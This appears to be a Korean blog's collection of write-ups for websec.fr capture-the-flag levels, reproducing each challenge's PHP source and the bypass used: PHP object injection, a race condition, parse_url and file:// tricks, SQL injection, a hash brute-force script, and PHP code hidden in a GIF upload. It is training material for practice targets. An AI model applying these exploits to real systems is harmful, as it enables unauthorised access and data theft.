'Wargame/websec.fr'에 해당되는 글 22건

source.php


<?php

include "flag.php";

class 
Flag {
    public function 
__destruct() {
       global 
$flag;
       echo 
$flag
    }
}

function 
sanitize($data) {
    
/* i0n1c's bypass won't save you this time! (https://www.exploit-db.com/exploits/22547/) */
    
if ( ! preg_match ('/[A-Z]:/'$data)) {
        return 
unserialize ($data);
    }

    if ( ! 
preg_match ('/(^|;|{|})O:[0-9+]+:"/'$data )) {
        return 
unserialize ($data);
    }

    return 
false;
}

$data = Array();
if (isset (
$_COOKIE['data'])) {
    
$data sanitize (base64_decode ($_COOKIE['data']));
}

if (isset (
$_POST['value']) and ! empty ($_POST['value'])) {
    
/* Add a value twice to remove it from the list. */
    
if (($key array_search ($_POST['value'], $data)) !== false) {
        unset (
$data[$key]);
    } else { 
/* Else, simply add it. */
        
array_push ($data$_POST['value']);
    }
    
setcookie ('data'base64_encode (serialize ($data)));
}

?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level Twenty</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
    <!-- Thanks to XeR for helping debugging this level. -->
</head>
<body>
    <div id="main">
        <div class="container">
            <div class="row">
                <h1>LevelTwenty <small> - Call me maybe</small></h1>
            </div>
            <div class="row">
                <p class="lead">
                    Since there is nothing that a good blacklist can't fix,
                    we're using <a href="https://secure.php.net/manual/en/function.unserialize.php">unserialize</a>
                    with a <b>bullet-proof</b> one for our amazing todo-list.<br>
                    You can get the sources <a href="source.php">here</a>.
                </p>
            </div>
        </div>
    <br>
        <div class="container">
            <div class="row">
                <form class="form-inline col-md-3" method='post'>
                    <input name='value' id='value' class='form-control' type='text' placeholder='Item'>
                    <input class="form-control btn btn-default" name="submit" value='Add' type='submit'>
                </form>
            </div>
            <div class="row col-md-3">
        <br>
                <ul class="list-group">
                <?php 
                    
foreach ($data as $value)
                        print 
'<li class="list-group-item">' htmlentities($value) . '</li>';
                
?>
                </ul>
            </div>
        </div>
    </div>
</body>
</html>


Serialize된 Flag 객체 값을 넣어주면 되는데, 필터로직이 두개정도 있다. 소스 내 주석에 박힌 Exploit-db에서 사용한 O:+4 요런식의 +를 사용한 bypass도 막혀있는걸 볼 수 있다. 


이것저것 해보다 외국인이 쓴 unserialize관련 문서에서 요런걸 찾았다.


switch (yych) {
case 'C':
case 'O':       goto yy13;
case 'N':       goto yy5;
case 'R':       goto yy2;
case 'S':       goto yy10;
case 'a':       goto yy11;
case 'b':       goto yy6;
case 'd':       goto yy8;
case 'i':       goto yy7;
case 'o':       goto yy12;
case 'r':       goto yy4;
case 's':       goto yy9;
case '}':       goto yy14;
default:        goto yy16;


case구문을 잘 보면 O랑 C가 동일한 분기로 점프하는걸 볼 수 있고 O대신 C로 객체를 표현할 수 있나해서 로컬에서 테스트해보니 잘 되는걸 볼 수 있었다.


exploit.py


import requests


def exploit(payload):

    url = "http://websec.fr/level20/index.php"

    headers = {"Cookie":"data="+payload}

    result = requests.get(url,headers=headers).text

    print result


payload = 'C:4:"Flag":0:{}'.encode("base64").replace("\n","")

exploit(payload)


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr easy level 22  (0) 2019.08.22
websec.fr easy level 13  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
Websec.fr babysteps level 25  (0) 2018.12.12
Websec.kr easy level 15  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가서 소스를 보면 다음과 같다.


<?php
if(isset($_POST['submit'])) {
  if (
$_FILES['flag_file']['size'] > 4096) {
    die(
'Your file is too heavy.');
  }
  
$filename md5($_SERVER['REMOTE_ADDR']) . '.php';

  
$fp fopen($_FILES['flag_file']['tmp_name'], 'r');
  
$flagfilecontent fread($fpfilesize($_FILES['flag_file']['tmp_name']));
  @
fclose($fp);

    
file_put_contents($filename$flagfilecontent);
  if (
md5_file($filename) === md5_file('flag.php') && $_POST['checksum'] == crc32($_POST['checksum'])) {
    include(
$filename);  // it contains the `$flag` variable
    
} else {
        
$flag "Nope, $filename is not the right file, sorry.";
        
sleep(1);  // Deter bruteforce
    
}

  
unlink($filename);
}
?>


파일 업로드 후 해당 파일의 md5값과 flag 파일의 md5 값 비교 및 내가 입력한 checksum 값과 해당 값을 crc32한 값이 같으면 플래그를 뿌려주고 해당 조건을 통과 못하면 파일을 삭제한다.


일단 플래그를 뿌려주는 조건과 같은 경우에는 crc32는 느슨한 비교를 하고 있어 아무 값도 주지 않을 경우 우회가 가능하지만 md5부분은 도저히 우회할 방법이 없었다.


근데 잘 보면 파일 업로드 후 삭제루틴을 탈 때 중간에 sleep 함수가 존재한다. 주석에는 브루트포싱을 하지 말라고 적어져있지만 보통 파일 업로드 삭제 사이에 시간관련 함수가 존재할 경우에는 Race Condition이 가능하다. 위와 같은 경우에는 시간이 1초나 주어져있기 때문에 성공확률도 매우 높다.


파이썬으로 코드짜기 귀찮아서 그냥 버프 인트루더를 아래와 같이 돌렸다.









'Wargame > websec.fr' 카테고리의 다른 글

websec.fr easy level 13  (0) 2019.08.22
websec.fr easy level20  (0) 2019.08.22
Websec.fr babysteps level 25  (0) 2018.12.12
Websec.kr easy level 15  (0) 2018.03.08
Websec.fr easy level 11  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가보면 소스코드를 제공해주는데 아래와 같다.


<?php

parse_str(parse_url($_SERVER['REQUEST_URI'])['query'], $query);

foreach ($query as $k => $v) {

if (stripos($v, 'flag') !== false)

die('You are not allowed to get the flag, sorry :/');

}

include $_GET['page'] . '.txt';

?>


코드를 보면 parse_url,paser_str을 통해 쿼리 영역을 배열로 만든 뒤 파라미터 값에 flag가 있는지 검증한다.


일반적인 방법으로는 flag를 입력할 수 없지만 parse_url 버그를 이용하면 정상적인 배열 값을 만들지 못하게 해 우회가 가능하다.


paser_url에 인풋으로 들어가는 값을 ///데이터 요런식으로 넣게 되면 아래와 같이 //가 http://와 같은역할을 하고 3번쨰 /가 path구분자 역할을 하면서 중간에 존재해야 할 host값이 존재하지 않아 에러가 터져 정상적인 값을 반환하지 못하도록 할 수 있다.


요 원리를 사용해서 아래와 같이 공격해주면 플래그 파일을 include 시킬 수 있다.



추가로 이 방법 외에도 아래와 같은 구문 또한 parse_url에서 에러를 터트려 exploit이 가능하다.


//level25/index.php?page=flag&a=:8080/&send=%EC%A0%9C%EC%B6%9C



'Wargame > websec.fr' 카테고리의 다른 글

websec.fr easy level20  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
Websec.kr easy level 15  (0) 2018.03.08
Websec.fr easy level 11  (0) 2018.03.08
Websec.fr easy level10  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

코드를 보면 create_function으로 임의의 함수를 만들어 사용한다.

 

source)

 

<?php
ini_set
('display_errors''on'
);
ini_set('error_reporting'E_ALL
);

$success 
'
<div class="alert alert-success alert-dismissible" role="alert">
    <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
    Function declared.
</div>
'
;

include 
"flag.php"
;

if (isset (
$_POST['c']) && !empty ($_POST['c'
])) {
    
$fun create_function('$flag'$_POST['c'
]);
    print(
$success
);
    
//fun($flag);
    
if (isset($_POST['q']) && $_POST['q'] == 'checked'
) {
        die();
    }
}
?>

 

근데 중요한건 함수를 정의한 후에 이 함수를 아예 쓰지를 않는다. 코드 자체의 결함으로 뭔갈하기에는 무리가 있어보였고 create_function자체의 취약점이 있는지 찾아봤더니 exploit-db에 RCE가 되는 취약점이 있었다.

poc이용해서 플래그를 따냈다.

 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr babysteps Level28  (0) 2018.12.13
Websec.fr babysteps level 25  (0) 2018.12.12
Websec.fr easy level 11  (0) 2018.03.08
Websec.fr easy level10  (0) 2018.03.08
Websec.fr easy level 08  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

간단한 SQL Injection 문제다.

 

source)

 

<?php
ini_set
('display_errors''on'
);
ini_set('error_reporting'E_ALL
);

function 
sanitize($id$table
) {
    
/* Rock-solid: https://secure.php.net/manual/en/function.is-numeric.php */
    
if (! is_numeric ($id) or $id 2
) {
        exit(
"The id must be numeric, and superior to one."
);
    }

    
/* Rock-solid too! */
    
$special1 = ["!""\"""#""$""%""&""'""*""+""-"
];
    
$special2 = [".""/"":"";""<""="">""?""@""[""\\""]"
];
    
$special3 = ["^""_""`""{""|""}"
];
    
$sql = ["union""0""join""as"
];
    
$blacklist array_merge ($special1$special2$special3$sql
);
    foreach (
$blacklist as $value
) {
        if (
stripos($table$value) !== false
)
            exit(
"Presence of '" $value "' detected: abort, abort, abort!\n"
);
    }
}

if (isset (
$_POST['submit']) && isset ($_POST['user_id']) && isset ($_POST['table'
])) {
    
$id $_POST['user_id'
];
    
$table $_POST['table'
];

    
sanitize($id$table
);

    
$pdo = new SQLite3('database.db'SQLITE3_OPEN_READONLY
);
    
$query 'SELECT id,username FROM ' $table ' WHERE id = ' $id
;
    
//$query = 'SELECT id,username,enemy FROM ' . $table . ' WHERE id = ' . $id;

    
$getUsers $pdo->query($query
);
    
$users $getUsers->fetchArray(SQLITE3_ASSOC
);

    
$userDetails false
;
    if (
$users
) {
        
$userDetails $users
;
    
$userDetails['table'] = htmlentities($table
);
    }
}
?>

 

코드를 보면 user_id값과 table에 값을 넣을 수 있는데 user_id는 정규식으로 숫자밖에 못쓰게 해놔서 써먹을 수가 없다. 그럼 table벡터에서 쿼리를 뽑아내야하는데  주석이랑 union,join을 쓸수가 없어서 뒤에있는 where절을 어떻게 처리할 수가 없다. 즉 테이블자체를 내가원하는 데이터값이 담긴놈으로 만들어놓아야 된단 거다. 여기서 이를 가능하게 하려면 결국 전체쿼리에서 select로 값을 가져오는 컬럼이 id,username이다. 그럼 내가 세팅해논 테이블의 컬럼을 이놈들로 맞춰주기만 하면 된다. as를 필터링하고 있지만 as가 없어서 alias가 가능하니 크게 상관은 없었다.

id가 2이상의 숫자밖에 안되니 id부분에는 3이라는 값을 맞춰주고 username부분에 플래그가 담긴 값을 뽑아냈다. 플래그값은  친절하게  enemy라는 컬럼에 있다고 밑에 주석으로 나타내고있어서 따로 테이블, 컬럼 찾을거 없이 바로 뽑았다.

 

 

  

 

 

 

 

 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr babysteps level 25  (0) 2018.12.12
Websec.kr easy level 15  (0) 2018.03.08
Websec.fr easy level10  (0) 2018.03.08
Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<?php include "flag.php"?>

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level Ten</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css"/>
</head>
<body>
<div id="main">
    <div class="container">
        <div class="row">
            <h1>LevelTen<small> - Awesome File Downloader.</small></h1>
        </div>
        <div class="row">
            <p class="lead">
        Here we have a <a href="source.php">cool file downloader</a>. It allows you to download arbitrary files, even <mark>flag.php</mark>,
        as long as it's a legit request!<br>
                Thanks to an <mark>anonymous contributor</mark> for this challenge.
            </p>
        </div>
    </div>
    <div class="container">
        <div class="row">
            <form name="username" method="post" class="form-inline">
                    <div class="form-group">
                        <label for="f">File</label>
                        <span class='text-success'></span>
                        <input type="text" class="form-control" required id="f" value="index.php" name="f">
                    </div>
                    <div class="form-group">
                        <label for="hash">Secret hash</label>
            <input type="text" class="form-control" required id="hash" value="<?php echo substr (md5 ($flag 'index.php' $flag), 08); ?>" name="hash" >
                    </div>
                <button type="submit" class="btn btn-default">Get!</button>
            </form>
        </div>
        <?php
        
if (isset ($_REQUEST['f']) && isset ($_REQUEST['hash'])) {
            
$file $_REQUEST['f'];
            
$request $_REQUEST['hash'];

            
$hash substr (md5 ($flag $file $flag), 08);

            echo 
'<div class="row"><br><pre>';
            if (
$request == $hash) {
            
show_source ($file);
            } else {
            echo 
'Permission denied!';
            }
            echo 
'</pre></div>';
        }
        
?>
    </div>
</div>
<link rel="stylesheet" href="../static/bootstrap.min.js"/>
</body>
</html>



파일명이랑 임의의 플래그 문자열을 가지고 md5값을 만든다. 이걸 내가 보낸 hash랑 비교하는데 이 때 느슨한 비교를 하고있어서 0e 형태의 지수값을 반환하는 file명을 brute force해주면 된다. 반환된 md5값에서 앞 8자리만가지고 비교를해서 brute force로 금방 해결이 가능했다.


exploit.py

import multiprocessing

import urllib2

import urllib


def getFlag(num):

    def request(payload):

        url = "http://websec.fr/level10/index.php"

        data = urllib.urlencode({"f": payload, "hash": "0e12345611111"})

        request = urllib2.Request(url, data)

        request.add_header("User-Agent","ozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.3")

        response = urllib2.urlopen(request).read()

        return response


    strings="ijklmnop"

    for j in range(0,len(strings)):

        for i in range(num*500,(num*500)+500):

            payload = strings[j]*i+"/../flag.php"

            #print payload

            result = request(payload)

            #print result

            if "Permission denied!".lower() not in result.lower():

                print strings[j]

                print result

                exit(1)


if __name__=="__main__":

    num_list = [0,1,2,3,4,5]

    pool = multiprocessing.Pool(processes=8)

    pool.map(getFlag,num_list)

    pool.close()

    pool.join()


'Wargame > websec.fr' 카테고리의 다른 글

Websec.kr easy level 15  (0) 2018.03.08
Websec.fr easy level 11  (0) 2018.03.08
Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

gif 파일 업로드 기능이 있는 문제이다.

 

source)

 <?php if (isset ($_FILES) && !empty ($_FILES)): ?>
                <div class="row">
                
<?php
                    $uploadedFile 
sprintf('%1$s/%2$s''/uploads'sha1($_FILES['fileToUpload']['name']) . '.gif'
);

                    if (
file_exists ($uploadedFile)) { unlink ($uploadedFile
); }

                    if (
$_FILES['fileToUpload']['size'] <= 50000
) {
                        if (
getimagesize ($_FILES['fileToUpload']['tmp_name']) !== false
) {
                            if (
exif_imagetype($_FILES['fileToUpload']['tmp_name']) === IMAGETYPE_GIF
) {
                                
move_uploaded_file ($_FILES['fileToUpload']['tmp_name'], $uploadedFile
);
                                echo 
'<p class="lead">Dump of <a href="/level08' $uploadedFile '">'htmlentities($_FILES['fileToUpload']['name']) . '</a>:</p>'
;
                                echo 
'<pre>'
;
                                include_once(
$uploadedFile
);
                                echo 
'</pre>'
;
                            } else { echo 
'<p class="text-danger">The file is not a GIF</p>'
; }
                        } else { echo 
'<p class="text-danger">The file is not an image</p>'
; }
                    } else { echo 
'<p class="text-danger">The file is too big</p>'
; }
                
?>
                </div>
                <?php endif 
?>

getiamagesize랑 exif_imagetype으로 다른 포맷의 파일이 업로드되지 못하도록 필터링하고 있다. 그냥 gif포맷 파일안에 php코드 박아서 업로드해주면 이 파일을 include하면서 php 코드 실행이 가능해진다.

바로 시스템명령어 함수써서 마무리지으려했는데 disabled fuction에는 정의가 안되있는데 이상하게 함수 실행이 안됬다. ping이나 sleep으로 시간지연도 안생기는거보니 단순히 출력 안하는 문제는 아닌것 같았다.

그래서그냥 파일,디렉터리 관련 함수써서 풀었다.

 

 

 

 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level 11  (0) 2018.03.08
Websec.fr easy level10  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
Websec.fr babysteps level 06  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

preg_replace를 통한 필터링이 존재하는 기본적인 SQLi다.

 

그냥 이런식으로 쿼리넣어서 우회해주면 된다.

 

100 unbyion selbyect username,password frbyom users

 

 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level10  (0) 2018.03.08
Websec.fr easy level 08  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
Websec.fr babysteps level 06  (0) 2018.03.08
Websec.fr babysteps level 04  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스보면 간단한 php 트릭이다. strcasecmp를 통해 flag를 비교하고있어서 그냥 배열로 인자넘겨주면 0리턴해서 플래그 출력된다.

 

<?php


if (! strcasecmp ($_POST['flag'], $flag
))
echo 
'<div class="alert alert-success">Here is your flag: <mark>' $flag '</mark>.</div>'
;   
else
echo 
'<div class="alert alert-danger">Invalid flag, sorry.</div>'
;


?>

 

 


 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level 06  (0) 2018.03.08
Websec.fr babysteps level 04  (0) 2018.03.08
Websec.fr babysteps Level 01  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 소스를 제공해주고 있고 ssrf로 서버내 flag.php를 읽어오면 된다.

 

source

 

<?php

if (isset ($_POST['submit'
])) {
    
$url $_POST['url'
];

    
/* People tends to do funny things with curl. */
    
if (preg_match ('/[https?|[st]?ftp|dict|gopher|scp|telnet|ldaps?]\:\/\/.*(\d+|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/i'$url
)) {
        die(
'Please do not access by IP.'
);
    } elseif (
preg_match ('/localhost/i'$url
)) {
        die (
'Please do not access localhost.'
); 
    }

    if (
stripos ($url'/', -1) !== '/') { $url .= '/'
; }
    
$url .= 'index.php'
;

    try {
        
$ch curl_init ($url
);
    
        if (
FALSE === $ch
) {
            throw new 
Exception('failed to initialize'
);    
        } elseif (
defined('CURLOPT_IPRESOLVE') && defined('CURL_IPRESOLVE_V4'
)){
            
curl_setopt($chCURLOPT_IPRESOLVECURL_IPRESOLVE_V4
);
        }       
        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue
);
        
curl_setopt($chCURLOPT_FOLLOWLOCATIONfalse
);
        
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse
);
        
$result curl_exec($ch
);
        
curl_close($ch
);
    } catch (
Exception $e
) {
        
trigger_error (sprintf ('Curl failed with #%d: %s'$e->getCode(), $e->getMessage()), E_USER_ERROR
);
    }
}
?>

 

일단 http를 사용할 수 있고 내가 입력한 값뒤에 /index.php가 붙게 된다.

http://websec.fr/level06/flag.php? 요런식으로 index.php 날려주고 접근해보면 해당파일에 접근이 불가능하고 로컬에서 접근을 하라고한다. file://로 접근해주면 될 것 같은데 처음에 file Wrapper는 http처럼 ?나 #이 적용이 안될거라고 생각해서 시도안하고 다른방법 생각해보다가 도저히 안떠올라서 그냥한번 해볼까 하고 요렇게 file:///flag.php?index.php , file:///flag.php#index.php 시도했는데 파일이 읽혔다. 이게지금 http처럼 파라미터나 #이후 무시되는 현상이 똑같이 일어나서 되는건지  이문제자체를 그렇게 만든건진 모르겠지만 일단 가능성이 존재한다는걸 알았고 앞으로도 한번씩 시도해보면 좋을것 같다.

 

 

 

 

 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
Websec.fr babysteps level 04  (0) 2018.03.08
Websec.fr babysteps Level 01  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,